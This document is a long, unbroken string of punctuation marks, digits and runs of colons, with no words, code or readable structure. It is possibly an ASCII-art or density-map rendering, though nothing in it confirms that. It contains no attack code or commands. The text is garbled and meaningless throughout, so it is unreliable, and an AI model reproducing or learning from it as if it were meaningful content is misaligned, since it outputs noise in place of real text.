'$"&'2&.'/2""(*%!($+$'&!#!.*/)),,"+!-1+'2&*-/*/::#1'%.+*-&!#$')/:::::::::::::::::::::::::::::::::::::::::&*0&(&)"-(1.*!*+&&))/)3$'.$" - -'$$. )+/,"-1,#&(%'"$+&'.2&%)!(::::::::::::::::%+%"/%$" ))"*3%'/$'3% .&/&$ "))./)'1-,2" 2/::::::::::::::::::::::::::::::::::::::::::::::::'&+"%0*")0,$).#$#%'*/.")##&!0,0%#.$ ""0-+/-.:::#"&$(0.))#)'"-:::::::::::::::::::::::::::::::::::::::::-+* .*%!101%,,%. 3%&/+#*!))/-#)3*)%&).04!"%"*!$!"*)/("/&)::::::::::::::::/%)..+-0 . *%%##"/-)*$.%!)!/*'+%"$#%""." "$%:::::::::::::::::::::::::::::::::::::::::::::::::%%$'/!*'&,+#)$# $,*&%"/+% ,".!)2*$)+2(,* 21::::.*)3!'.-(0/(4+(::::::::::::::::::::::::::::::::::::::::2)" -3'%2-*%-'-%*%")!'"/!/&%& +'-+-&&.#)$."+)-#+!)*"-#!:::::::::::::::::340)#)"+1!&*0$2.)-).+"!"")'&1++&%"&&-'**$&%"2//::::::::::::::::*.)$%,&%-!2*.%::::::::::::::::::::'.$ -30%)+$-'/0%+/).0&''. '(- **$0/ &,".':::::"%+)0*&-&-*&/&' .:::::::::::::::::::::::::::::::::::::::/(''!" "%%!"1# &(-$$+-.$,&.)-".%!)#/0-0*%-'/ ,)%1&1* ./2#::::::::::::::::::2'&'/.$!$3/) +%1!"$*.-$*,.*&'./(*(+ )1$**/$:::::::::::::%('*2&.*!'!&./+$::::::::::::::::::::*!"(/!/###,(,*/ *0**/)% 0&%%)!')-')&!'% -::::::/0#%"*-'-+2//'!$*::::::::::::::::::::::::::::::::::::::&--%+#-, "*&'+. */%-,#+.""#%)".-$-+&#+-&+'"''3$"! ##+.(#3! :::::::::::::::::::)"//+,20%+"/!$"4'0.-,2*$#)*!'"/$")-//!-$%0*:::::::::::: *.)+! &),$0'"))(!" ::::::::::::::::::::.,"$"1,$)14/&#*!3 $!-"'&$.!!".3,)53'#."$:::::::.3!"%&!/*#)2$$.$':::::::::::::::::::::::::::::::::::::.*1('"%)&$"*01%3.&$ .&*'1"((!&"'&% +1+-012)/$)#.2%,*)&$ $/:::::::::::::::::::&0)#, $&*0'%"-%'&('/-))$")-%*.&+$/ $-!+%$%%(:::::::::::(*)&/!/10"(/&/+&%.(34#!::::::::::::::::::::/"$1%1(+)'&"-/*$%"! -$0+)* 1#*("+0&:::::::/4!'&,/#)"(+$+$.:::::::::::::::::::::::::::::::::::::&&"$%&#**#&/$$ #630++*-$0!/**#4%&+,+.(3% 0/ /&1-%# &1/* *++::::::::::::::::::$-3,"$*. $%.$'#+'" 04#"0/)!('+!+#$.20*+ !)::::::::::0!,*',,0*1*!+'%$'#-(+"#::::::::::::::::::::::$2%3&-!3$$**$ !)$/0&+3'*&', *+-!$)::::::::*'.&").%/!&")&"$!*:::::::::::::::::::::::::::::::::::::--!-&/0%2'' %-/-23!/!0,+(--& &*" ) *./*-0)-)*''&&-"/$#*% )'::::::::::::::::::6%0+).-1)!/+!,0%1.+'%)$!2#) .-.$".')"::::::::::!)0")/*&*3)&+"+!"-.)!#(/::::::::::::::::::::,"(%)+-&&"!3)$!!!1&+0-%$. &$0*!.+::::::::))%, 2&-#,'#&&&.:::::::::::::::::::::::::::::::::::::+)-''-/1.&/.)*/0%)*(+ '%20)&&"$.%,('+-.&// '%)-%)%0)+&1-#+-)0&::::::::::::::::::)("-%%' .*('' $&)/'$.%0 &%"'--// !&.#.%::::::::::/".%2-,&04*+.$%%+#%,&*!1!*.:::::::::::::::::::*''3.0//'&&/$-+0'.+#)(+&& ).#+/-++:::::::::&&"&"//'/'.%("30%4:::::::::::::::::::::::::::::::::::::+".+*('/$/3$ +"!+-./ /+. %$))$*%**/03#.!#+($*2 -+&&2"!++%+.& ::::::::::::::::::&&$3+/)"&'#)$$*1' ! *0)%+!1""*--0)$,$/::::::::::'+-'.0'+$'1)'$(*."#$0-$./&::::::::::::::::::$-&/)00*)$,!" +*%+%$#10') '&').*:::::::::::$!&+%.,'+/"'%%+::::::::::::::::::::::::::::::::::::%()+.1#"+")&% &-*1')$-*&/'/"./+'&'&+#0%'-,*.1 0#+!%$"**,0%2"(::::::::::::::::"" $%1(%%',$/)2+,"0$!+&.,'-+$2$$+!')':::::::::::%#"*+"#"'/$&(+,(.&'''.*#$"+*#::::::::::::::::: ./&-*/! ,/!*)/#&+" % -'!/ '*" ::::::::::::"&&'-)!,"!0"$"+"&2$"::::::::::::::::::::::::::::::::::::)"!+)+,-$%0*#3&'.$1&+$%**-5*$1*&*&-+)!!%/"'--"&..* 0&'&!/&!*+!''":::::::::::::::+/%/+*(3$/'!&%$* +)'0)/# + /++&!+.$.3::::::::::-&$#!.$"""&&%$&,& -&6#1-**)(%!!::::::::::::::::#-2*!+:::#)#-+'0$) &,%%$+"%::::::::::::::+)/" *# !+.3'"01:::::::::::::::::::::::::::::::::::)*%+.+'$ *+.*/,-'+*#&&&%$)!-'*&%'%+/$-&0*-(%%'*1'')*#"""!/!* %,#",.0::::::::::::.'//#. )-$.-2"+*&40 &+")%)0#/,#$$ '!.01:::::::::::/#"*%*00#3%0'!")*!%'0*."3).&+#.!-:::::::::::::::!,#!&-':::::::&%.)% 0$#&/::::::::::::::::0&)$$".*3//'0)**%"/::::::::::::::::::::::::::::::::::: &*%0+%%'*-"&1'*" $/!).!)'!$'*&- #$%(%/.--#.3!*",!,&%%%*!*'%/*/&::::::::&1,!-31!).'/$,#/*,+($."!"!%%&%&-%!.$-/(&)/::::::::::::)/$))$".+$%&-.)%)""$!)"-'(3+/$+.(::::::::::::::* /& "':::::::::::::#)/':::::::::::::::::::2'#"/"$")%5-0%.-#0&&%0:::::::::::::::::::::::::::::::::::'2)$1,/,30)2 "!$$).%("+&2!"/!$$ -&&-#!-!-#3" *.-+:: $.,. $*/)%#/.*! /.,'#!("(.!'0/&::)0)-/3&+0(--3*%"*"0*20."/.:::::::::::::/-.$( ++)*#/0*#() %-(()2"$' *":::::::&&'/:::')(1'"'::::::::::::::::::::::::::::::::::::%)")'!-(.%#.!$0+#%"-0(:::::::::::::::::::::::::::::::::::+()-+'!&!!*0%"/+0#*/$%+(&/6,"&0' +$-&#/&*"-/&%".:::.-.)-&$'",&-(!!&/$.!*4)$&"&#(.:::::"1&',''/$+!,!/+&0%&/.+:::::::::::::::$",%/$-'1-)/,.'))'+0%.*' $$+($0:::::::::+(2!(-&-##*'*#::::::::::::::::::::::::::::::::::::.&"-'/&',)' .* #+/) ::::::::::::::::::::::::::::::::::::#$%-2&2#++'!"%%"*"'1&',&#--..+)/)-!+"1-).!"*+)1*&2-:::::!%+-#$-#0'/'0.#.3/+,1*&'*&1::::::::0%&&(/%%1.(!+ *",!):::::::::::::::::%'$$."&&"".$(#/*-!))$*!&"/0%%!&":::::::::10/-&"% ,-(-/&::::::::::::::::::::::::::::::::::::/ !+$*32&6%-$!%&!!(%-':::::::::::::::::::::::::::::::::::'/*))/)% (-'+ 0%"&// * /*$#''"-$*"&&0#%*+#%$)&$+%,/:::::::3/,)'!/ -(!/#0(+#/-/0*/"",.":::::::::::::::::% -$&.:::::::::::::::::::::"(',"+(#"-- ,2+!)''+&'$$)/0+.&::::::::0 '-+*+ (*1+/+::::::::::::::::::::::::::::::::::::"$!%.'-0'.$" '+&!)* :::::::::::::::::::::::::::::::::::" +$--)'"-/0*)1!&$%'.(),&$!"$*& $*#1&'!)#%!*,&"0:::::::::::')$* %+"-,-%"*#+.$&"*::::::::::::::::::::::::::::::::::::::::::::::""##+ .*,'%('*$(/.+"./*0:+1//::::::'&$,3/"+ .'*',*/%::::::::::::::::::::::::::::::::::::3/% +%)1 &.0%0*$*&-.%&!::::::::::::::::::::::::::::::::::::'*'+'%#'#)*0&-)/#'&*'/'&(.%"! !/"/%)/&!./0%$(:::::::::::::::!*-*,/+-".- !+'+!":::::::::::::::::::::::::::::::::::::::::::::::*-,(/#$+"3-.*- &.3%&$-. :::::::::::*'+'-'2*'"*$&)03 ::::::::::::::::::::::::::::::::::::*+!&-30.01 ,-*0&'('&'&:::::::::::::::::::::::::::::::::::::-1( .!',+.+4&1--0-1,"/.! '*!/+*$$)$/"!':::::::::::::::::+-0,$, 0"+-%%'3*:::::::::::::::::::::::::::::::::::::::::::::::::&)"3'*.)#%."&%/+!013).'#+::::::::::::::-%.11/&$"+,'$.&:::::::::::::::::::::::::::::::::::::'#)+-!2-$*-$!!$/'$%)1":::::::::::::::::::::::::::::::::::::33$'"/ "/$/00"-2' #+*"" 0$")00.!'&+-')&'$::::::::::::::::::::::::,$#"%01::::::::::::::::::::::::::::::::::::::::::::::::::::::"3% +3%$/..(+34)%*"0."!&$:::::::::::::::&*22 (-!$*.%'#:::::::::::::::::::::::::::::::::::::.%+#.$'#./)&(1'$/..)1::::::::::::::::::::::::::::::::::::::'0!'$*$,%/+--!"*/+%&%)$-&""&+0.*-%$++%+:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::%')&& **.'!.)-&%)%+(,+)::::::::::::::::.!*&&%&++,*$:::::::::::::::::::::::::::::::::::::))$*! !%*#/#!$%'&*''$%::::::::::::::::::::::::::::::::::::::$!,!*.+/)%$%!&/"')!!-%'24))$+.+! 0%$$-:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::**#$"(12'-&-$-/*".&!/#'::::::::::::::::::::::'+,&/&!,:::::::::::::::::::::::::::::::::::::"&*"000!*0+, +*.)0& )&:::::::::::::::::::::::::::::::::::::::. - & 0&&)(/'%$*0+"/0'!/##&- -+.-+/1':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::*!!2%.,!"&%!$"$/%!.'/%::::::::::::::::::::::$()$/.$%:::::::::::::::::::::::::::::::::::::%&/(++&&,*%*0,)"$2/3*:::::::::::::::::::::::::::::::::::::::::!##$1%/#*1$-/.&((%.$/2& ).(-1)-$)+$,::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::(/%#)-'+*2-*&,)(-'!*"::::::::::::::::::::::::(*- $&(:::::::::::::::::::::::::::::::::::::) 00/,+.)%%+$+&$+)0":::::::::::::::::::::::::::::::::::::::::::'3."*$&!!/!3*),$0&)"0-")140)/$0,+/$.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::''!)1 '00&0.'*#/+ "::::::::::::::::::::::::0-)"2+:::::::::::::::::::::::::::::::::::::''"-)&&$!"#!$"%/"$!$%::::::::::::::::::::::::::::::::::::::::::::::%0*$)#&3%*+)(+&-!$#%*)"" :::/'.':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::,-)#)0+'.*)!,!'"%!:::::::::::::::::::::::::/ ,"/3%:::::::::::::::::::::::::::::::::::::$*!&*%&)#!&3))-*(* &":::::::::::::::::::::::::::::::::::::::::::::::::0)-$#$&:::::#'*"!.+)::::::"))#%():::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+%-1)'""-/1(+*-)1:::::::::::::::::::::::::%&%(,4*#)::::::::::::::::::::::::::::::::::::-/$//*-%$+)%)%.+):::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: *#!$:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::/%)) !.+./-$$/:::::::::::::::::::::::::::%*"(.-&::::::::::::::::::::::::::::::::::::"'+ #/"**$#))&&'"2:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::3"!./.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::)("+")(1::::::::::::::::::::::::::::::::::::$01)+$.+,$*$$/%$'&)$::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::'-&%%$!:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::,&+ "#$(&+#::::::::::::::::::::::::::::::::::4-$"1)+)/!)) #"''&::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::$+$$!%:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::%*' $-)"%"%1::::::::::::::::::::::::::::::::::*(""/"'&.$(''$ /:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::$"/$.&'::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::(%**&2 ,0/$-/::::::::::::::::::::::::::::::::!)&$&/"!%#00*'//$*::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+!"'#::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::0--##1.1"$+-'#:::::::::::::::::::::::::::::::*/'.#/&.% #1$%!-::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+-$#($0:::::::::::::::::::::::::::::::::::::::::::::::::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::!-)'$$"/.$.'(:::::::::::::::::::::::::::::::$$*#+ '+ .'"():::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::,-#'!-::::::::::::::::::::::::::::::::::::::::::::::::"0$0::::::::::::::%$2.#/)2+":::::::::::::::::::::::::::::::::::::::::::::::::::::::::&%))$%&"+44,::::::::::::::::::::::::::::::.%/+/#.'/)--(-'::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: /-))::::::::::::::::::::::::::::::::::::::::::::: #/-05::::::::::::::::%04'.).$::::::::.:::::::::::::::::::::::::::::::::::::::::::::::::::,-.1$$.&/$%::::::::::::::::::::::::::::::.'% .''",%/'.-::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+$+%4::::::::::::::::::::::::::::::::::::::::::::*0&((/*::::::::::::::::!+/"$,':::::::::,",-:::::::::::::::::::::::::::::::::::::::::::::::::/($*,($(%!::::::::::::::::::::::::::::::''$$+&'-*(+&::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::!$/-#%:::::::::::::::::::::::::::::::::::::::::::!/*!$!0::::::::::::::::/+.( (":::::::::/!$(::::::::::::::::::::::::::::::::::::::::::::::::%!('&+#/#'::::::::::::::::::::::::::::::+ &'',0!!$/$::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::3$-,/*::::::::::::::::::::::::::::::::::::::::::''--&-)&::::::::::::::::::+2*%$ :::::::::!..&0(::::::::::::::::::::::::::::::::::::::::::::::::-$+.#*'2-::::::::::::::::::::::::::::::& ),$0'/((#$::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::$)300:::::::::::::::::::::::::::::::::::::::::#4$!')!::::::::::::::::::"$($-&':::::::'$++&/**:::::::::::::::::::::::::::::::::::::::::::::::!$"$0"::::::::::::::::::::::::::::::%," ''*2.2!0::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::#)/*+.&::::::::::::::::::::::::::::::::::::::::)(0'./"#"%::::::::::::::::::0!' -%2#):::://'%$"% :::::::::::::::::::::::::::::::::::::::::::::::"(#"'$'0,::::::::::::::::::::::::::::::"',4 %) +-.3"::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::$/!+/ %::+ 1'''-))(!:*0''/%*::::::::::::::::::::::::::::::::::::::::/$-.)'07%*/::::::::::::::::::%'.&-0$!&#$-))#.&*)0-":::::::::::::::::::::::::::::::::::::::::::::#2 #&#$),1::::::::::::::::::::::::::::::$!1+)'-2&..*:::::::::::::::::::::::::::::::::::::::::::::::::::::::!'"! ))3+%/--.)'$!+0 )-0*0)+)&2,%%::::::::::::::::::::::::::::::::::::::::++#'&))//0::::::::::::::::::#/&,'0#*.2&&(",%20$!)::::::::::::::::::::::::::::::::::::::::::::+.0!&&-&$::::::::::::::::::::::::::::::!##!4+,-'"%.:::::::::::::::::::::::::::::::::::::::::::::::::::::+#(+. *%*)-.'"+#&&#,#%0.#/()-+/,0&" ::::::::::::::::::::::::::::::::::::::::1&'.($%+& #::::::::::::::::: &+&-(/!'0,.'!"'.3,!"--//$:::::::::::::::::::::::::::::::::::::::::::-*3%&"/&&&::::::::::::::::::::::::::::::*( #(-(2+)$))::::::::::::::::::::::::::::::::::::::::::::::::::::--+(/-0$$,.'**/#(!-#&!$!-*%-''-%-3"::::::::::::::::::::::::::::::::::::::::+!*#"%.*(/$-$::::::::::::::::&%"#$$ "$%-%2!'%13%%,' ,"-'. %"-#,&*%)#%%$":::::::::::::::::::::::::** 3&"#...::::::::::::::::::::::::::::::+%/+:* -#*-, -::::::::::::::::::::::::::::::::::::::::::::::::::.!-%%'#!(&"-)+#-0+!$$1 ! +*('-!/--.-/-$::::::::::::::::::::::::::::::::::::::::/*!( 1%)"%%::::::::::::::'.("& (- &$$-0&'%2%0,&* $,/''""/- #!&"-!%-.%%3$ ::::::::::::::::::(( ,$41&:::::::::::::::::::::::::::::::!()::&/"% +!*2::::::::::::::::::::::::::::::::::::::::::::::::,'.+. !%1.&( &*0&!&%"'&!.-,( 3-&%*)!)):::::::::::::::::::::::::::::::::::::::23++&,&./,$1*!+::::::::::::!&$/,-%&-%14+&%#/"-(*"+')#*%-2""*())-..%+#)" '#$:::::::::::::&%&4!*)",).!:::::::::::::::::::::::::::::::++:::"'(&' %1%::::::::::::::::::::::::::::::::::::::::::::::)/ (&0%&+$$:::::::'!#$::::::::::*/)""1::::::::::::::::::::::::::::::::::::::::'$.$'$&!!&+&)#%&::::::::.%*',-00'',+//"'-)")+/$.&))'')'&0*!%&-!"#%((%!/!$-$::::::::::&$%/)/0''.:::::::::::::::::::::::::::::::::::::+"')2-#$3$:::::::::::::::::::::::::::::::::::::::::::::".*$.)3$#/:::::::::::::::::::::::::::::$!:::::::::::::::::::::::::::::::::::::::::%,/*!'.!!$"'+,)/$."+.&%"*&&13//+0)'"0&+! #,,%.0%!()" +%(-)+-$" 1,)))))'$0$0,(-!:::::::4/!)$(  +-!%:::::::::::::::::::::::::::::::::::::::..#!$ *2:::::::::::::::::::::::::::::::::::::::::::::"&&)&)"(+:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::)#-).2$,+$&& )$/,-+& 0'*.!*).$!-&'10 /%* **!&%+*.&0*,!&%- 10.-3!"$'./"%".2!"*%)$-+0**)0+- ++(!+$"(:::::::::::::::::::::::::::::::::::::::*0()-&'):::::::::::::::::::::::::::::::::::::::::::::!/)!-+" ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::#$,/1/&#',%('&&)"$%"0/0",./-!)*-!-)&))+'%!)-.)-+".#0$:::::::::::::::::/1.*%$-#.#' * ''"*$".2$ 0-' /$'::::::::::::::::::::::::::::::::::::::::. %!.*0&1":::::::::::::::::::::::::::::::::::::::::::#.'*&$,(. :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::% '!/0#'*$.%-'&$-'/*!//.#)&$&,'#(%'/$*&)++&*$'&&+(&)%::::::::::::::::::::::..%'*0!-4(&+!")$ ! +%",:::::::::::::::::::::::::::::::::::::::::/&-$1) +35:::::::::::::::::::::::::::::::::::::::::::0"3$$%&.)-*%"$-$'::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::2*'+*"+('"+-'&# ..,)/-))0*#'(&'",#*',&(!+&$( 1%-'+'&$$*1)::::::::::::::::::::::::$/!.!)-%+.&- *.+,/')::::::::::::::::::::::::::::::::::::::::::'(&0$$.0&0*::::::::::::::::::::::::::::::::::::::::::$,03+$"-#+-% &&!"%(&::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::%/)34'&%#!"0!"%. /).% ,+3"""1&&++-"-$2--%'(-&.&"*-&)::::::::::::::::::::::::::&- .1./.$2 $++!%2!*:::::::::::::::::::::::::::::::::::::::::::::/*&%%--!*0.:::::::::::::::::::::::::::::::::::::::::&.( $1(.%'& $*&(--*:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+%$ 4.*&'&,!(".%1,)0#&./+5-$.-!*$*!+ -""/&0'*%1-(+*.%:::::::::::::::::::::::::::::*%/!#"&'"&$/!-::::::::::::::::::::::::::::::::::::::::::::::-%(#/%!+&&):::::::::::::::::::::::::::::::::::::::::+1-($2%"#( '()#/%&)/0)::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"%/.-0.)#0!.5/+)#-'%'//*0).+/--!/& . %&$/&0"$$)%$& -*::::::::::::::::::::::::::::::::::::::#"0+0"$::::::::::::::::::::::::::::::::::::::::::::::'/%/.),#.,::::::::::::::::::::::::::::::::::::::::::&(/2+-#(*.*&"/$ $+!*-'"-*:::::::::::::::::::::::::::::::::::::::::::::::::::::::::-%#*,/###*,41*.)0##25.*)$%&*"&11$+(-$+/.$/'"+#()%/'4!::::::::::::::::::::::::::::::::::::::!(# "+/::::::::::::::::::::::::::::::::::::::::::::::--)-%& .0/$::::::::::::::::::::::::::::::::::::::::::.&.'-%"!$($2'&%.3$$2+,&0::::::::::::::::::::::::::::::::::::::::::::::::::::::::" )*0' -130+( " +/"%.4)/.')*4.$&"!+'(/$&'&!&%,$*.('"",/::::::::::::::::::::::::::::::::::::::& '.%"#::::::::::::::::::::::::::::::::::::::::::::::$',##+#&+/,):::::::::::::::::::::::::::::::::::::::::#"-&!%" $! ./ -$30!$%)#!&::::::::::::::::::::::::::::::::::::::::::::::::::::::::#-+&-'2 $%&##'!+*-'"%1*.1-&$#-#!++,!.-*!!-%/.$%&"".3.:::::::::::::::::::::::::::::::::::::::+"*/):::::::::::::::::::::::::::::::::::::::::::::: .$&0+- &&+ (::::::::::::::::::::::::::::::::::::::::,%&). !(+'./'#+2-*/!*#:::::::::::::::::::::::::::::::::::::::::::::::::::::::"+.('!$$)$+)-)%-#')$*'+/%&/!#+ "("'0+(-#0&+")$$3#/#::::::::::::::::::::::::::::::::::::::::!-+)--::::::::::::::::::::::::::::::::::::::::::::::*-$&"%"+# %!:::::::::::::::::::::::::::::::::::::::-./--)4"")/0.'#%#& &/0"*&.%. -::::::::::::::::::::::::::::::::::::::::::::::::::::::$ -153!"-(-#))''$*$*$-+*/"!-!%0*$%1!.-$++3 +)"+/+%:::::::::::::::::::::::::::::::::::::::::)*-!-:::::::::::::::::::::::::::::::::::::::::::::::/$*#'"!%0$'$#::::::::::::::::::::::::::::::::::::::')0%&$")-/10*, # /($*&0+-+-$)',:::::::::::::::::::::::::::::::::::::::::::::::::::')%)*+**6$.$#+&$.$ -*(#.0+&3'&*3..)1%/++0-1."/1! &:::::::::::::::::::::::::::::::::::::::::3"*,"%::::::::::::::::::::::::::::::::::::::::::::::::+$+#,"**,#'(":::::::::::::::::::::::::::::::::::::2/1-&*&,$&0$!)..'0%"612&$%"+! 0-%::::::::::::::::::::::::::::::::::::::::::::::::1. "')($*-!/'-/.+2 &&&&'+)/*!.0.-0/&*.&*%!/1$.'""+#:::::::::::::::::::::::::::::::::::::::::-*!#*!:::::::::::::::::::::::::::::::::::::::::::::::::::).)"&&', -::::::::::::::::::::::::::::::::::::,3+-%2).#"$1$%!* + +!&,' -#*$3$#++,/(::::::::::::::::::::::::::::::::::::::::::::)+!&+.)(&-!.&00,#-,!%$!0,.&*-!"- +)!#),+)+%30* (&&%:::::::::::::::::::::::::::::::::::::::::2"!.::::::::::::::::::::::::::::::::::::::::::::::::::::)#.'"+*(*.::::::::::::::::::::::::::::::::::/",0'#$.)*0.'+3'%)#/%!#!#$$ 2'++)0-)+$::::::::::::::::::'#!-#/$+:::+..-!%!*/2'$-0))*% +'*-)-0/4!!'&.&$!&*!0!"-/$///&/)&."$0$ %!."+(::::::::::::::::::::::::::::::::::::::::::. * %!::::::::::::::::::::::::::::::::::::::::::::::::::::/'/&',!!#.++::::::::::::::::::::::::::::::::&./'"''%0,+&&(!!*$ *,'$''"&+%*3"*3# ".#:::::::::::::*/+-*,# - -'%0,/)&-%&+/3(-%1#" "!2/"(.%%/"/."--'$#+$'/,%+-+&+,%(!$%%// !(::::::::::::::::::::::::::::::::::::::::::)&#&!$:::::::::::::::::::::::::::::::::::::::::::::::::::::+0/)$'%)"*%1),::::::::::::::::::::::::::::::#.*'*!'&$*."$3-,.(-'-'*1($&*)3$"2/+ $)::::::::::!+%'"'&"+ /',%+'###"'0)%.*./+(1*$#"$"$)/0$&"$%+- +&*-++0!&&''&)%,) -0)+21"'+$:::::::::::::::::::::::::::::::::::::::::::3'0*2):::::::::::::::::::::::::::::::::::::::::::::::::::::-/+0/&* ((%/(0:::::::::::::::::::::::::::::/-#*/&"+'&*%))) %+'/-&'%'*"$0'+$ !.& +/$'::))))"+"((*)/+--#+/!'#.!3, "$'-)(4+2&%+"0+&'$00#,.-&+)0$+!/*'))!)$" '% #%(" ,%00*(::::::::::::::::::::::::::::::::::::::::::::/#+/+%::::::::::::::::::::::::::::::::::::::::::::::::::::::$$$4- )01/'$0#0#)!::::::::::::::::::::::::3#.3+,,-$*/$/*!!$("**/).",* #//+&,,.0 )1($*,'("%'%!/*/0$+!#"$"##0&.&*#+!%/+0 */!*0&'&"1.."&-+' )%+'"+($$#!,$ 0"%)!#%&$ -"#-."&+:::::::::::::::::::::::::::::::::::::::::::::% ""*$:::::::::::::::::::::::::::::::::::::::::::::::::::::: /$!,(+ ./2#!/&/.#%-#::::::::::::::::::::#/0-0# * %2*!&,".-%+4$%-)&+'("%0//,%&0($! ."(!!*%-*/)'2+%",1'"*/.+.!, .3//)&/&0)")-&&*1+*--*04!*,#+4-&!%)- #! %0&". /%/).')%:::::::::::::::::::::::::::::::::::::::::::::-+*.*"::::::::::::::::::::::::::::::::::::::::::::::::::::::::"$,0,%-1+!"!) -.*3'')::::, $1-.1+::::#/#)# #'2$-#)0%$&'+$)0*))$&%0*--*%+%,!0'3-*/!&/.)1.$/. &(( */#") .&2)/(%+1/(+!-%&/&-'-%%%')!3+&$*.""3-+'3$*#."&#"%")/".'&)%(-'+::::::::::::::::::::::::::::::::::::::::::::::*#& ./::::::::::::::::::::::::::::::::::::::::::::::::::::::::-%**"0*))*-&$-(30-!1/$($#("+$!&#"&#%//!/&0,&'/*%*.%(-*),.&"--0!" 0+//00(1!"*/-*)** '"%+0&,&)%/ .)-& 0)-,'-#0!! ))$)$-0/%%0)./+)%!+)*---+&%0(/+"%% "..04# /*+::::::::::::::::::::::::::::::::::::+/)!)"&2/0*:)0%$!"::::::::::::::::::::::::::::::::::::::::::::::::::::::::!+'$#&#/1)() )!/%"%* )'$# '#$1&2.'"-%!+-#0/10"&-$00&%0)21#&#+0".$%*'/&$"/-,"+/* .0)0+*'"/-$!!/#)*&* 0#*)$$#+2(!*)..%*+)&4%"'&#(,,%("+%"'/%/+%,)',) %3+$-%)0%0:::::::::::::::::::::::::::::::::::",,"'#/)$+'/&)$+&,)/::::::::::::::::::::::::::::::::::::::::::::::::::::::::::-*&+&)2#'&%*,&/'&!'.' # 0/'$1$+""*0*&*-,&%-"/-#+)/"$/3#+(-"")!#)#,&$+ &*#&'+/%/($"::::::::::::::::::::::::::::::::::::::(+/ ,2-+3-+"-%&'*!$',''""*'*'.+!*%+)!,%':::::::::::::::::::::::::::::::::::1$ !!#$*$!2"$)+% +(*::::::::::::::::::::::::::::::::::::::::::::::::::::::::::$.-$!0"()- )0)1"'"&$#$'(.%*$#"*0//- /. %#/*'+&*%))*%0++,!*$,-.$2.// 0))$)10//1#.:::::::::::::::::::::::::::::::::::::::::*#"-)* 04-""".!%*1,+*0#-.05/2*11# %-.#-0::::::::::::::::::::::::::::::::::0%'("%&.)*+!$.##.-'$"(::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+*4.))%$#.#%$.!0.0$#"+)2!#/&',..!"-$/- /& $'!+)$+!+*-0*%2/)*4,-. $*.',*)#)%0*.:::::::::::::::::::::::::::::::::::::::::.*/*()!!1#"//3%-)(.3.%(!(*% ,"1&.*0 1//.::::::::::::::::::::::::::::::::::"/##,*!$..0'.+*1#'$.$$,::::::::::::::::::::::::::::::::::::::::::::::::::::::::::3/&%!+-$.1&.)!&%2.$&$!*)&2%&'&"(&+'.0,&#$//0$.(*'.+!#'%))+#.-,&*#&%(*!0&/)+#""%'2::::::::::::::::::::::::::::::::::::::::::,/,**&30%,"+"%. .)$&%,&+)/*+#.*03"&::::::::::::::::::::::::::::::::::!20-.3 !%'+0%*!+4$".! '/'::::::::::::::::::::::::::::::::::::::::::::::::::::::::::"00'(*# +:::::::: -('%.!!" !'&)-''-*0)$),(*&$$#"'$ $%".'!!/.0$)/$$'!!).)'&*--"$"/:::::::::::::::::::::::::::::::::::::::::::')&)"+.'+#)#&..)"&#'"-)4%,,+#-.%%1!::::::::::::::::::::::::::::::::::::+.2),*)$&-'$*.-&3# 33,!:::::::::::::::::::::::::::::::::::::::::::::::::::::::::-../.'(!:::::::::::'/0'&!".&%-%$&%!+++%*.+(# *0/'-)*%/-"%'%'!*&0)+%$ *%%.!2&.*0""):::::::::::::::::::::::::::::::::::::::::::: .--)&&.+#'"+''.$-)$('!")"-11+%:::::::::::::::::::::::::::::::::::::$$ + 0./++$)-2%*$/4%#)!'*::::::::::::::::::::::::::::::::::::::::::::::::::::::::#&/''%,:::::::::::::::%)!$/&.*!#- 